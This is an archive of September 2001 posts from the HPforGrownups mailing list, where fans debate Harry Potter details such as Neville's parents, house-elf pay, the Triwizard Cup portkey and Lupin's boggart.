Message-ID: <20010929112452.31813.qmail@web14208.mail.yahoo.com>

No: HPFGUIDX 26870

--- cynthiaanncoe at home.com wrote:

>Is it generally accepted that Hermione
>knows all about what happened to
>Neville's parents?

My opinion is that if Hermione had known why Neville had become so
upset, she would've explained it to Harry & Ron afterward.

Kelly the Yarn Junkie

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From klhurt at yahoo.com  Sat Sep 29 11:34:10 2001
From: klhurt at yahoo.com (Kelly Hurt)
Date: Sat, 29 Sep 2001 04:34:10 -0700 (PDT)
Subject: [HPforGrownups] Re: House-Elves
In-Reply-To: <9ot9cs+d6gu@eGroups.com>
Message-ID: <20010929113410.55226.qmail@web14201.mail.yahoo.com>

No: HPFGUIDX 26871

--- dfrankiswork at netscape.net wrote:

>I think there is canon evidence that
>it is not natural or innate.  I am
>referring to the fear which comes over
>the kitchen elves when Hermione starts
>to challenge them, and with which they
>regard Dobby. 

No book handy, but I don't recall thinking the house elves were
'afraid'.  I would say they were shocked, uneasy, & uncomfortable --
maybe even offended -- to hear such things (like some people are when
they hear strong profanity), so they rushed the Trio out of the room.

Kelly the Yarn Junkie

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From john at walton.to  Sat Sep 29 11:48:58 2001
From: john at walton.to (John Walton)
Date: Sat, 29 Sep 2001 12:48:58 +0100
Subject: ADMIN: Yahoo! Groups Downtime - Sun. 9/30/01 10pm PST
In-Reply-To: <9p3ic4+gbjb@eGroups.com>
Message-ID: <B7DB73BA.1DF1%john@walton.to>

No: HPFGUIDX 26872

Quick forward from the eHamsters at YahGroops...just FYI, yall.

--John, Mod






From: groupsproducer at yahoo.com
Reply-To: ygroups-status-owner at yahoogroups.com
Date: Sat, 29 Sep 2001 04:23:32 -0000
To: ygroups-status at yahoogroups.com
Subject: [eGs] Yahoo! Groups Downtime - Sun. 9/30/01 10pm PST

Dear Yahoo! Groups Members,

The Yahoo! Groups service will be down for scheduled maintenance this
Sunday, September 30, from approximately 10PM to 12AM Pacific
Standard Time.

During this time, the web site will be unavailable. Email sent during
this time will be queued and delivered when the service is back up.

James
Producer, Yahoo! Groups




From klhurt at yahoo.com  Sat Sep 29 11:52:23 2001
From: klhurt at yahoo.com (Kelly Hurt)
Date: Sat, 29 Sep 2001 04:52:23 -0700 (PDT)
Subject: TriWizard Cup as Portkey
In-Reply-To: <9p05sh+umua@eGroups.com>
Message-ID: <20010929115223.56497.qmail@web14201.mail.yahoo.com>

No: HPFGUIDX 26873

I lean toward the theory that Cup was a portkey so that Voldemort &
Friends could enter the Hogwarts grounds en masse and without warning
in order to attack Dumbledore, Fudge, and other important wizards &
witches.

However I've had an additional thought I haven't seen discussed before:
 Could the Cup have been a portkey through time as well as distance? 
Could Harry & Cedric seemed to have vanished from maze center and then
*poof* they were at the entrance to the maze as intended (but Cedric
was dead) with no time elapsed?  [I hope I made that clear!]

If Voldemort was going to attack, having Harry & the Cup missing for
very long would have given Dumbledore time to prepare defenses, or at
least would've put him on the alert and there was no indication I can
remember (no book handy) that anyone screamed and/or panicked BEFORE
Harry and Dead Cedric appeared at the maze entrance.

Also, if the Cup transported through time AND distance, it could help
explain why Fudge would think Harry was crazy and making up the whole
Voldemort Rebirth story.

Kelly the Yarn Junkie

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From klhurt at yahoo.com  Sat Sep 29 11:57:24 2001
From: klhurt at yahoo.com (Kelly Hurt)
Date: Sat, 29 Sep 2001 04:57:24 -0700 (PDT)
Subject: Neville's Parents
In-Reply-To: <9p07ip+83nh@eGroups.com>
Message-ID: <20010929115724.33888.qmail@web14208.mail.yahoo.com>

No: HPFGUIDX 26874

--- Haggridd <jkusalavagemd at yahoo.com> wrote:

>2.  He comes of excellent stock.  His
>parents were Aurors....

Actually, to pick a nit here, I believe Neville's FATHER was an Auror. 
I don't think we are ever explicitly told his mother was.  I think Mrs.
Longbottom was tortured just to get her husband to talk.

Kelly the Yarn Junkie

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From klhurt at yahoo.com  Sat Sep 29 12:00:36 2001
From: klhurt at yahoo.com (Kelly Hurt)
Date: Sat, 29 Sep 2001 05:00:36 -0700 (PDT)
Subject: [HPforGrownups] Neville's prospects (was Re: Hermione's Knowledge of the Longbottoms)
In-Reply-To: <9p08tv+kah8@eGroups.com>
Message-ID: <20010929120036.3239.qmail@web14205.mail.yahoo.com>

No: HPFGUIDX 26875

--- psf2323 at go.com wrote:

>While I don't have specific canonical
>support, I do agree with your theory
>regarding Neville.  He is terrified of
>the Crucitus Curse,....

I read that passage as Neville being horrorfied by seeing what his
parents had undergone which isn't quite the same as being terrified.

Kelly the Yarn Junkie

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From john at walton.to  Sat Sep 29 12:18:59 2001
From: john at walton.to (John Walton)
Date: Sat, 29 Sep 2001 13:18:59 +0100
Subject: [HPforGrownups] FW: FF: (filk) The Last Waltz
In-Reply-To: <NCBBLOIDFHFLKCOIHJBKMECHDOAA.shall@sfiweb.demon.co.uk>
Message-ID: <B7DB7AC2.1E07%john@walton.to>

No: HPFGUIDX 26876

on 9/29/01 10:26 AM, Susan Hall at shall at sfiweb.demon.co.uk wrote:

> Second explanatory note
> If anyone considers the first explanatory note to be excessively pretentious
> I commend to him or her the sleeve notes to *Blood on The Tracks*.

::swoons:: I LOVE Lily, Rosemary and the Jack of Hearts! (Although I have to
say I prefer the Joan Baez version on Diamonds, Disk 2. She at least can
sing :D)

Susan, what an amazing filk! (Although, like the original song, it's long
enough to count as a fic in its own right!) Marvellous! I adored the Tarot
references.

One quibble with your notes...surely the de Nerval sonnet is "Je suis le
tenebreux..." not "...tenebrae...", since the latter is Latin for darkness
and not a French ending for "one who is X", ie. "shadowy one=shadowman"
would be "tenebreux". There's an excellent Flanders & Swann spoof of "Je
suis le tenebreux", and I've heard one taking the piss out of tenors as
well. "Je suis un tenor, moi"...

--John, qui est un tenor
____________________________________________

*"Quidditch Through The Ages" by Kennilworthy Whisp: 14 Sickles 3 Knuts
*New Firebolt Broom: just over 100 Galleons
*Watching Draco Malfoy being bounced up and down
after being turned into a ferret: Priceless

The best things in life are free. For everything else, there's Harry Potter.

John Walton -- john at walton.to
____________________________________________




From saitaina at wizzards.net  Sat Sep 29 13:09:13 2001
From: saitaina at wizzards.net (Saitaina)
Date: Sat, 29 Sep 2001 06:09:13 -0700
Subject: [HPforGrownups] Re: What JKR did not say. An analysis of the interviews.
References: <9p44la+lmf8@eGroups.com> <004101c148ca$d8f4cc80$3fae1e3e@StephenDawson>
Message-ID: <021201c148e7$effd88a0$664e28d1@oemcomputer>

No: HPFGUIDX 26877

I think the 'cat, owl, toad' thing is a suggested pet rule and only for first years as Lee brought his spider in book one.  I think the rules would differ depending on your pet and why your bringing it.  Lee's spider for instance could have been just there for the term or the year meaning it wouldn't constantly be in the castle and Harry having a dog might be allowed (beyond the fact it's Sirius) just in the fact that his other pet is an owl and he might need a companion.

Saitaina
*****
There were a surprising number of demons that glowed-in-the-dark. There were also a surprising number of demons named Bob. Xander didn't want to know why. -"Tiny Smiles", by Saber ShadowKitten, Buffy fanfic

"I kill mortals, I don't feed them," Death said with a hint of disgust. -"The Dark Cavalier", by Saber ShadowKitten, Buffy Fanfic

On a hellmouth, most of the time the demons killed the humans, demon hunters killed the demons, and a Collector stood around scratching his ass with his scythe. -"The Dark Cavalier", by Saber ShadowKitten, Buffy fanfiction


"Invisible, naked glowing people's opinions don't count," Xander mumbled, rounding the car to the passenger side. "Especially someone who is probably a figment of my concussed imagination." 
-Xander, "Cricket", by Saber ShadowKitten, Buffy Fanfiction


[Non-text portions of this message have been removed]




From rowena_grunnion_ffitch at yahoo.com  Sat Sep 29 13:31:26 2001
From: rowena_grunnion_ffitch at yahoo.com (Rowena Grunnion-Ffitch)
Date: Sat, 29 Sep 2001 06:31:26 -0700 (PDT)
Subject: [HPforGrownups] Mrs. Norris
In-Reply-To: <20010929111207.53279.qmail@web14201.mail.yahoo.com>
Message-ID: <20010929133126.7253.qmail@web20810.mail.yahoo.com>

No: HPFGUIDX 26878


--- Kelly Hurt <klhurt at yahoo.com> wrote:
> --- Rowena Grunnion-Ffitch
> <rowena_grunnion_ffitch at yahoo.com> wrote:
> 
> >I would say Mrs. Norris is a clear
> >example of a familiar. She certainly
> >isn't an ordinary cat.
> 
> Is she, perhaps, part kneazle, too?

   What *is* a kneazle exactly?

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From rowena_grunnion_ffitch at yahoo.com  Sat Sep 29 13:44:49 2001
From: rowena_grunnion_ffitch at yahoo.com (Rowena Grunnion-Ffitch)
Date: Sat, 29 Sep 2001 06:44:49 -0700 (PDT)
Subject: [HPforGrownups] Re: Dobby wants paying
In-Reply-To: <9p2r9c+4e1s@eGroups.com>
Message-ID: <20010929134449.81623.qmail@web20807.mail.yahoo.com>

No: HPFGUIDX 26879


--- dfrankiswork at netscape.net wrote:

> What do we make of the fact that Dumbledore goes
> along with Dobby's 
> wish to be paid?

    That he is a good man willing to meet any
reasonable terms. The fact that Dobby wants paying may
be untraditional but that doesn't make it wrong. If
that is his wish why not fall in with it?
 
> And, IMO very significant, what do we make of Arthur
> Weasley's 
> comment to Hermione that he agrees with her, it's
> just a bad time to 
> discuss it?

    He disapproves of the way Diggory and Crouch Sr.
were treating Winky. This does not necessarily mean he
is opposed to wizards having House elves just that he
thinks they deserve some courtesy and consideration.

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From heidi.h.tandy.c92 at alumni.upenn.edu  Sat Sep 29 13:40:59 2001
From: heidi.h.tandy.c92 at alumni.upenn.edu (Tandy, Heidi)
Date: Sat, 29 Sep 2001 09:40:59 -0400
Subject: [HPforGrownups] Mrs. Norris
Message-ID: <C8CB3DE988C8D3119BDA00A0C9B3BD4D022C2E21@MIAEXCH1>

No: HPFGUIDX 26880

A kneazle is a magical creature, described in fantastic beasts and where to
find them. Kneazles are proficient at helping owners find their way home,
and are known for spotting people who are shady or otherwise "nasty"- you
might want to review our Magical Creatures faq or steve vanderark's lexicon.
Also, in an interview, jkr said that crookshanks is part kneazle.
In the march messages, after FBaWTFT and before the interview there was much
lively discussion of whether crookshanks had kneazle blood, because of his
reaction to Wormtail.

And, btw, there has also been discussion of whether crookshanks' nonreaction
to draco on the train is a point on the Not Completely Evil At Present
chart.

-----Original Message-----
From: Rowena Grunnion-Ffitch <rowena_grunnion_ffitch at yahoo.com>
To: HPforGrownups at yahoogroups.com <HPforGrownups at yahoogroups.com>
Sent: Sat Sep 29 09:31:26 2001
Subject: Re: [HPforGrownups] Mrs. Norris

Real-To:  Rowena Grunnion-Ffitch <rowena_grunnion_ffitch at yahoo.com>


--- Kelly Hurt <klhurt at yahoo.com> wrote:
> --- Rowena Grunnion-Ffitch
> <rowena_grunnion_ffitch at yahoo.com> wrote:
> 
> >I would say Mrs. Norris is a clear
> >example of a familiar. She certainly
> >isn't an ordinary cat.
> 
> Is she, perhaps, part kneazle, too?

   What *is* a kneazle exactly?

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"I say to you all, once again--in the light of Lord Voldemort's return, we
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From catherine at cator-manor.demon.co.uk  Sat Sep 29 14:00:37 2001
From: catherine at cator-manor.demon.co.uk (catherine at cator-manor.demon.co.uk)
Date: Sat, 29 Sep 2001 14:00:37 -0000
Subject: Hermione's Knowledge of the Longbottoms
In-Reply-To: <20010929112452.31813.qmail@web14208.mail.yahoo.com>
Message-ID: <9p4k65+an54@eGroups.com>

No: HPFGUIDX 26881

--- In HPforGrownups at y..., Kelly Hurt <klhurt at y...> wrote:
> --- cynthiaanncoe at h... wrote:
> 
> >Is it generally accepted that Hermione
> >knows all about what happened to
> >Neville's parents?
> 
> My opinion is that if Hermione had known why Neville had become so
> upset, she would've explained it to Harry & Ron afterward.
> 
> Kelly the Yarn Junkie


I really don't agree with this - it just doesn't tally with what we 
know of Hermione's character.  As stated, there are two ways Hermione 
could have known about Neville's family history - either she came 
across it in her background reading, which is entirely plausible, 
when we know that she has read up on recent events in the wizarding 
world, and that a great deal of publicity surrounded the trial of the 
Lestranges and Barty Crouch Jnr, or, Neville himself told her.

If the former is the case, Hermione would have the sensitivity to 
realise that if Neville hasn't told his peers at Hogwarts, it is 
because he doesn't feel he can yet.  I am sure that she would respect 
this.  Likewise, if he did confide in her himself, then if he asked 
her to keep his confidence, then she would do.

It is doing Hermione as disservice to say that she would run off and 
explain things to Ron and Harry regardless.  She has proven on more 
than one occasion that she can keep secrets, and that she honours 
other people's confidences.  Why would she decide not to on this 
occasion?  It would be particularly out of character, given her 
obvious sensitivity around Neville.

Catherine




From cynthiaanncoe at home.com  Sat Sep 29 14:20:20 2001
From: cynthiaanncoe at home.com (cynthiaanncoe at home.com)
Date: Sat, 29 Sep 2001 14:20:20 -0000
Subject: TriWizard Cup as Portkey
In-Reply-To: <20010929115223.56497.qmail@web14201.mail.yahoo.com>
Message-ID: <9p4lb4+q9b0@eGroups.com>

No: HPFGUIDX 26882

--- In HPforGrownups at y..., Kelly Hurt <klhurt at y...> wrote:
> I lean toward the theory that Cup was a portkey so that Voldemort &
> Friends could enter the Hogwarts grounds en masse and without 
warning
> in order to attack Dumbledore, Fudge, and other important wizards &
> witches.
> 
> However I've had an additional thought I haven't seen discussed 
before:
>  Could the Cup have been a portkey through time as well as 
distance? 
> Could Harry & Cedric seemed to have vanished from maze center and 
then
> *poof* they were at the entrance to the maze as intended (but Cedric
> was dead) with no time elapsed?  [I hope I made that clear!]
> 
> 
I'm still not convinced about the "Voldemort Plans To Storm Hogwarts" 
theory.  I can't think of a worse time for Voldemort and his 30 Death 
Eaters to mount an offensive.  There are hundreds of wizards at the 
Third Task, including Dumbledore, presumably a few MoM wizards, 
Hogwarts Teachers, and "hundreds of students" (many of whom know how 
to Stun and Disarm, including Durmstrang students versed in the Dark 
Arts).  The element of surprise will only take you so far.  Also, 
Voldemort has lots of supporters out there, like the Lestranges, who 
need to be released from Azkaban, so he'd probably like to round up 
all of his troops.  Voldemort is stronger to launch sneak attacks to 
undermine the other side than to attempt a frontal assault.

Also, I have trouble with any theory that requires Voldemort to be 
even dumber.  If Voldemort knows the cup is a portkey that could 
transport Harry to Hogwarts, he could have simply stationed one DE to 
guard it during the duel.  He also wouldn't have shouted "Stand 
aside!  I will kill him!  He is mine!" as Harry fled.  His lines 
would have been something like: "Darn it to heck!  Why can't I ever 
remember to do the obvious thing to prevent Harry from escaping."  

Cindy (who is hoping that Voldemort will win a battle or two to keep 
things interesting)






From aiz24 at hotmail.com  Sat Sep 29 15:35:55 2001
From: aiz24 at hotmail.com (Amy Z)
Date: Sat, 29 Sep 2001 15:35:55 -0000
Subject: House-elf pay - Susan's filk - Mrs. Norris - Lockhart Flint
Message-ID: <9p4pos+p2j1@eGroups.com>

No: HPFGUIDX 26883

I wrote:

> > How would he buy wool and knitting
> > needles if he didn't get 
> > paid?

Rowena wrote:
 
>    He could ask his human hosts for it. 

Hosts?  

Rowena continued:

>It was
> customary to put out gifts for Brownies yarn, if it
> were made clear it would be welcome, wouldn't be a
> problem.
>    According to my 'Encylopedia of Fairies,
> Hobgoblins, Brownies Bogies and other Supernatural
> Creatures' (yes, it is a real book) Brownies avoided
> the appearance of payment because it would put them
> under obligation to their Humans. Food or other items
> 'left out' didn't count as 'pay' and so were
> acceptable. 
>    This of course is the behavior of free Brownies.
> Dobby, coming from a long line of magically bound
> House elves, is presumably unaware of these
> traditional practices and values.  

Or maybe he is a lot more like a human being than that.  I can just 
imagine my reaction if my employers tried to pay me in goods instead 
of in money.  No matter how generous they might be, I like to choose 
my own wool, clothes, place to live, etc., thank you very much.

We really don't know whether house-elves are more like brownies or 
like slaves.  All we can do is go by the descriptions we have so 
far.  Winky (sacked simply because she couldn't restrain Jr. and 
because Sr. thought she wouldn't stand up to interrogation by the MOM) 
and Dobby both seem very unhappy to me.

Susan Hall wrote:  

<The Last Waltz (filk)>

Brava!  Very, very clever, with the same air of mystery as the 
original.  (And with a nod to The Band too?--yay!)

I won't stoop to comment on John's philistine assertion that Joan Baez 
sings better than Dylan.  But I'm weird that way--I don't think 
*anyone* sings better than Dylan.

Kelly wrote:

>As much as I love this theory, you've not taken into account two
>things:

>1.  Squibs can't do magic at all.

>2.  Mandrake Juice restores those who are transformed.

All we really know about Squibs is Ron's definition:  "Someone who was 
born into a wizarding family but hasn't got any magic powers."  I 
think that sounds quick-and-dirty enough to leave some wiggle room; 
maybe Squibs can have a smidgen of magic.  One reason I think so is 
the Kwikspell course.  Surely Muggles can't learn magic from a course? 
 Isn't it geared toward people who are just very bad at magic but not 
completely without powers?

Mandrake juice is a restorative for people who have been transfigured 
or cursed (CoS 6), but there still might be transformations that are 
irreversible even with a mandrake potion.

Elizabeth C wrote:

> Also, if you check CoS, the names of Lockharts books change from 
'Wanderings 
> with Werewolves' and 'Year with the Yeti' (chapter four, on the 
booklist) to 
> 'Weekend with a Werewolf' and 'Year with a Yeti' (chaper six, 
Lockharts 
> class), respectivley.

Wow, another good catch.  "Weekend with a Werewolf" sounds a bit 
risque, don't you think?

Amy Zurgatroyd
who wouldn't mind spending a weekend with a certain werewolf

--------------------------------------------------------
 "I'm =not= going to be murdered," Harry said out loud.
 "That's the spirit, dear," said his mirror sleepily.
                       -HP and the Prisoner of Azkaban
--------------------------------------------------------




From usergoogol at yahoo.com  Sat Sep 29 15:59:23 2001
From: usergoogol at yahoo.com (usergoogol at yahoo.com)
Date: Sat, 29 Sep 2001 15:59:23 -0000
Subject: Why is Lupin afraid of the floating silver orb?
Message-ID: <9p4r4r+j8s5@eGroups.com>

No: HPFGUIDX 26884

In Prisoner of Azkaban, the thing which Lupin is apparently afraid of is a floating silver orb.

> The legless spider had vanished. For a second, everyone looked
> wildly around to see where it was. Then they saw a silvery-white
> orb hanging in the air in front of Lupin, who said, "Riddikulus!"
> almost lazily.

and then...

> "I wonder why Professor Lupin's frightened of crystal balls?" said
> Lavender thoughtfully.

It really makes little sense, and I don't think it's explained at all during the concluding chapters, but I'll find out when I continue reading the books. What do YOU think, sirs?




From heidi.h.tandy.c92 at alumni.upenn.edu  Sat Sep 29 16:10:46 2001
From: heidi.h.tandy.c92 at alumni.upenn.edu (Tandy, Heidi)
Date: Sat, 29 Sep 2001 12:10:46 -0400
Subject: [HPforGrownups] Why is Lupin afraid of the floating silver or
	b?
Message-ID: <C8CB3DE988C8D3119BDA00A0C9B3BD4D022C2E25@MIAEXCH1>

No: HPFGUIDX 26885

At the Shieking Shack, lupin asks Hermione if she figured out he was a
werewolf because the boggart turnd into the moon.

Which, of course, leads to the question - Why, exactly, is he afraid of the
werewolf side of himself?

I also think this is credence for the theory that a boggart can turn into a
metaphor for what one is afraid of, but that's just My Humble
Opinion...wondering if anyone has new arguments in either direction.

-----Original Message-----
From: usergoogol at yahoo.com <usergoogol at yahoo.com>
To: HPforGrownups at yahoogroups.com <HPforGrownups at yahoogroups.com>
Sent: Sat Sep 29 11:59:23 2001
Subject: [HPforGrownups] Why is Lupin afraid of the floating silver orb?

Real-To:  usergoogol at yahoo.com

In Prisoner of Azkaban, the thing which Lupin is apparently afraid of is a
floating silver orb.

> The legless spider had vanished. For a second, everyone looked
> wildly around to see where it was. Then they saw a silvery-white
> orb hanging in the air in front of Lupin, who said, "Riddikulus!"
> almost lazily.

and then...

> "I wonder why Professor Lupin's frightened of crystal balls?" said
> Lavender thoughtfully.

It really makes little sense, and I don't think it's explained at all during
the concluding chapters, but I'll find out when I continue reading the
books. What do YOU think, sirs?



____________________________________________________________

"I say to you all, once again--in the light of Lord Voldemort's return, we
are only as strong as we are united, as weak as we are divided. 
"Lord Voldemort's gift for spreading discord and enmity is very great.  We
can fight it only by showing an equally strong bond of friendship and trust.
Differences of habit and language are nothing at all if our aims are
identical and our hearts are open."

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From cynthiaanncoe at home.com  Sat Sep 29 16:38:14 2001
From: cynthiaanncoe at home.com (cynthiaanncoe at home.com)
Date: Sat, 29 Sep 2001 16:38:14 -0000
Subject: Why is Lupin afraid of the floating silver or b?
In-Reply-To: <C8CB3DE988C8D3119BDA00A0C9B3BD4D022C2E25@MIAEXCH1>
Message-ID: <9p4tdm+mlt7@eGroups.com>

No: HPFGUIDX 26886

--- In HPforGrownups at y..., "Tandy, Heidi" <heidi.h.tandy.c92 at a...> 
wrote:
> At the Shieking Shack, lupin asks Hermione if she figured out he 
was a
> werewolf because the boggart turnd into the moon.
> > Which, of course, leads to the question - Why, exactly, is he 
afraid of the
> werewolf side of himself?
> 
> I also think this is credence for the theory that a boggart can 
turn into a
> metaphor for what one is afraid of, but that's just My Humble
> Opinion...wondering if anyone has new arguments in either direction.
> 

I always assumed that the students thought the orb was a crystal 
ball, when it was really the moon.  Lupin fears the moon because it 
is very painful to become a werewolf.  Also, had he sprouted into a 
werewolf in the classroom, he would have lost the only paid work he 
has been able to get.  

Cindy




From cynthiaanncoe at home.com  Sat Sep 29 16:50:18 2001
From: cynthiaanncoe at home.com (cynthiaanncoe at home.com)
Date: Sat, 29 Sep 2001 16:50:18 -0000
Subject: Can House Elves See Through Invisibility Coaks?
Message-ID: <9p4u4a+pumm@eGroups.com>

No: HPFGUIDX 26887

I can recall two instances in which house elves encounter 
invisibility cloaks.  In GoF, Winky is in the top box with Crouch 
Jr., who is wearing an invisibility cloak.  She has her fingers over 
her eyes.  But if Winky can't see through the cloak, Crouch could 
have easily escaped.  Indeed, how is Winky supposed to care for 
Crouch Jr. when they are at home if he wears the invisibility cloak 
all of the time?  He could easily give her the slip at the QWC, or 
even just get lost by accident.

The second instance is when Dobby find Harry sleeping in the 
library.  In that instance, JKR specifically tells us that the cloak 
had slipped off of Harry, so presumably Dobby could see Harry as the 
cloak no longer covered him.  

Does anyone have an opinion on whether house elves can see through 
invisibility cloaks?

Cindy




From s_luhtanen at hotmail.com  Sat Sep 29 16:50:44 2001
From: s_luhtanen at hotmail.com (s_luhtanen at hotmail.com)
Date: Sat, 29 Sep 2001 16:50:44 -0000
Subject: What JKR did not say. An analysis of the interviews.
In-Reply-To: <9p44la+lmf8@eGroups.com>
Message-ID: <9p4u54+b4au@eGroups.com>

No: HPFGUIDX 26888


> 
> Would that be allowed?  The original instructions to first year 
> students say that a child is allowed to bring a cat or an owl or a 
> toad.  Dogs are not mentioned.  Of course, I suppose Dumbledore could 
> make an exception for Harry, which would also serve to annoy Snape, 
> as it would give added proof to his contention that Potter doesn't 
> have to live by the same rules that everyone else is supposed to 
> follow.
> 
> Marianne

Hmm... Ron's [i]rat[/i] was no problem considering rules. Why should
Harry's dog be? And a 5th year may be allowed to have both dog and owl
- particularly the winner of tri-wizard-competition. Also, if Harry
becomes a prefect, there's even more reason for him to have more than
one pet...




From aiz24 at hotmail.com  Sat Sep 29 17:03:59 2001
From: aiz24 at hotmail.com (Amy Z)
Date: Sat, 29 Sep 2001 17:03:59 -0000
Subject: Why is Lupin afraid of the floating silver orb?
In-Reply-To: <9p4tdm+mlt7@eGroups.com>
Message-ID: <9p4utv+huur@eGroups.com>

No: HPFGUIDX 26889

Heidi wrote:

> > > Which, of course, leads to the question - Why, exactly, is he 
> afraid of the
> > werewolf side of himself?
> > 
> > I also think this is credence for the theory that a boggart can 
> turn into a
> > metaphor for what one is afraid of, but that's just My Humble
> > Opinion...wondering if anyone has new arguments in either 
direction.

Cindy wrote:

> I always assumed that the students thought the orb was a crystal 
> ball, when it was really the moon.  Lupin fears the moon because it 
> is very painful to become a werewolf. 

Also, he's afraid of hurting someone.

> Also, had he sprouted into a 
> werewolf in the classroom, he would have lost the only paid work he 
> has been able to get.  

Which returns us to a very interesting question:  what effect *does* a 
Boggart have on people?

The Boggart-Dementor has much the same effect as a real Dementor: the 
lights go out, Harry (and presumably Lupin) relives horrible memories, 
etc.  Why doesn't Lupin transform when the Boggart turns into the 
moon, then?  My theory is that he would if he didn't get rid of it 
pretty fast.

And what does Lupin's Boggart turn into after he says "Riddikulus"?  
In PoA 12 Harry sees him forcing the orb back into the box, which 
seems like a Flint.  Or maybe Lupin's "Riddikulus" breaks down Harry's 
Boggart but the Boggart instantly turns from some humorous version 
of a Dementor, whatever that might be, to the moon--Harry is dazed and 
could well miss something.  Then Lupin forces it into the case without 
even doing Riddikulus again.

The weird passage in question:

  . . . though Harry's legs felt like water, he was still on his feet 
. . . though for how much longer, he wasn't sure . . .
  "Riddikulus!" roared Lupin, springing forwards.
  There was a loud crack, and Harry's cloudy Patronus vanished along 
with the Dementor; he sank into a chair, feeling as exhausted as if 
he'd just run a mile, his legs shaking.  Out of the corner of his eye, 
he saw Professor Lupin forcing the Boggart back into the packing case 
with his wand; it had turned into a silvery orb again.
  "Excellent!" Lupin said, striding over to where Harry sat.

Amy Z

-----------------------------------------------
 Harry remembered how touchy Myrtle had always 
 been about being dead, but none of the other 
 ghosts he knew made such a fuss about it.
                  -HP and the Goblet of Fire
-----------------------------------------------
  




From keegan at mcn.org  Sat Sep 29 17:09:14 2001
From: keegan at mcn.org (Catherine Keegan)
Date: Sat, 29 Sep 2001 10:09:14 -0700
Subject: [HPforGrownups] FW: FF: (filk) The Last Waltz
In-Reply-To: <NCBBLOIDFHFLKCOIHJBKMECHDOAA.shall@sfiweb.demon.co.uk>
Message-ID: <4.2.0.58.20010929100501.009df520@mail.mcn.org>

No: HPFGUIDX 26890

At 10:26 AM 9/29/01 +0100, you wrote:
>The Last Waltz
>(To the tune of Lily, Rosemary, & The Jack of Hearts)

Thank you for this!  I haven't listened to that song for eons and the music 
came back as I read your words.  (and I like Baez's version the best!)

>Explanatory note:
>For anyone who is interested, Narcissa's own hand was Death, The Lovers and
>the nine of Swords, all reversed, but it was too difficult to make that scan.
What does that mean?  I know almost nothing about the Tarot but I'm curious!

Catherine in California





From deeblite at home.com  Sat Sep 29 17:09:40 2001
From: deeblite at home.com (Deeblite)
Date: Sat, 29 Sep 2001 13:09:40 -0400
Subject: [HPforGrownups] Re: Neville/Memory Charm
In-Reply-To: <9p2rs7+5896@eGroups.com>
References: <9p2rs7+5896@eGroups.com>
Message-ID: <20010929170929.GQWL16491.femail8.sdc1.sfba.home.com@there>

No: HPFGUIDX 26891

On Friday 28 September 2001 17:59, you wrote:
> As for Neville's age, even if he is 2 years old instead of 1, there's
> still no good reason to modify his memory. ?Even a 2 year old can't
> identify people, understand a crime, or remember anything later,
> unless the crime were committed by Teletubbies.

Now there's a disturbing image- did this make anyone else get a mental image 
of Tinky-Winky torturing someone?
-- 
Deeblite
spoony []
Variant(s): or spoon?ey []/'sp?-nE/
Function: adjective
Inflected Form(s): spoon?i?er; -est
Etymology: English slang spoon simpleton
Date: circa 1812
1 : SILLY, FOOLISH; especially : unduly sentimental
2 : being sentimentally in love




From cynthiaanncoe at home.com  Sat Sep 29 17:14:09 2001
From: cynthiaanncoe at home.com (cynthiaanncoe at home.com)
Date: Sat, 29 Sep 2001 17:14:09 -0000
Subject: Why is Lupin afraid of the floating silver orb?
In-Reply-To: <9p4utv+huur@eGroups.com>
Message-ID: <9p4vh1+3fdp@eGroups.com>

No: HPFGUIDX 26892

--- In HPforGrownups at y..., "Amy Z" <aiz24 at h...> wrote:
> > Which returns us to a very interesting question:  what effect 
*does* a 
> Boggart have on people?
> 
> The Boggart-Dementor has much the same effect as a real Dementor: 
the 
> lights go out, Harry (and presumably Lupin) relives horrible 
memories, 
> etc.  Why doesn't Lupin transform when the Boggart turns into the 
> moon, then?  My theory is that he would if he didn't get rid of it 
> pretty fast.
> 
> And what does Lupin's Boggart turn into after he 
says "Riddikulus"?  
> In PoA 12 Harry sees him forcing the orb back into the box, which 
> seems like a Flint.  Or maybe Lupin's "Riddikulus" breaks down 
Harry's 
> Boggart but the Boggart instantly turns from some humorous version 
> of a Dementor, whatever that might be, to the moon--Harry is dazed 
and 
> could well miss something.  Then Lupin forces it into the case 
without 
> even doing Riddikulus again.
> 
> The weird passage in question:
> 
>   . . . though Harry's legs felt like water, he was still on his 
feet 
> . . . though for how much longer, he wasn't sure . . .
>   "Riddikulus!" roared Lupin, springing forwards.
>   There was a loud crack, and Harry's cloudy Patronus vanished 
along 
> with the Dementor; he sank into a chair, feeling as exhausted as if 
> he'd just run a mile, his legs shaking.  Out of the corner of his 
eye, 
> he saw Professor Lupin forcing the Boggart back into the packing 
case 
> with his wand; it had turned into a silvery orb again.
>   "Excellent!" Lupin said, striding over to where Harry sat.
>

Hmmm.  I never considered why Lupin doesn't transform when the 
boggart moon appears.  Maybe Lupin is able to resist because the 
Boggart moon is so small -- the size of a crystal ball, apparently.  
Had the Boggart transformed into a huge moon, perhaps Lupin would 
have transformed.  After all, I assume if the Boggart changed into a 
mini-Dementor, Harry wouldn't have been overcome.

It's weak, but it is the best I can do.

Cindy (who thinks a mini-Dementor might make a nice pet, or a handy 
portable air conditioner)




From oppen at cnsinternet.com  Sat Sep 29 17:16:57 2001
From: oppen at cnsinternet.com (Eric Oppen)
Date: Sat, 29 Sep 2001 12:16:57 -0500
Subject: Grandmother Longbottom taking an active role?
Message-ID: <008a01c1490a$8c201d20$96c71bce@hppav>

No: HPFGUIDX 26893

Last night at my SF club meeting, we were discussing Harry Potter, and the
subject of Neville Longbottom came up.  One of us came up with an
interesting scenario, which can be expressed in this extremely short fic:

"Professor Snape, I'd like you to meet my grandmother, Livia Longbottom.
I'll leave you two to converse, sir...and may the gods have mercy on your
soul."

As Neville shut the door, the first screams began.

THE END

Even if Neville's grandmother is often exasperated with him, I think that if
she knew how Snapey-poo treats him in his class, she'd be up to Hogwarts
with a Look of Doom in her eye.  It might be a case of "NOBODY picks on my
grandson but ME."  In that sort of scenario, I think Snapey might suddenly
start regretting that he wasn't sent to Azkaban...nice, _safe,_ Azkaban,
where Grandmother Longbottom can't get at him.

Maybe this will happen in the next book...Snape's been cruisin' for a
bruisin' for quite a while, IMNSHO.




From deeblite at home.com  Sat Sep 29 17:15:07 2001
From: deeblite at home.com (Deeblite)
Date: Sat, 29 Sep 2001 13:15:07 -0400
Subject: [HPforGrownups] Re: A New Flint?
In-Reply-To: <F100xkl6JpfmGuZtu920000d3d7@hotmail.com>
References: <F100xkl6JpfmGuZtu920000d3d7@hotmail.com>
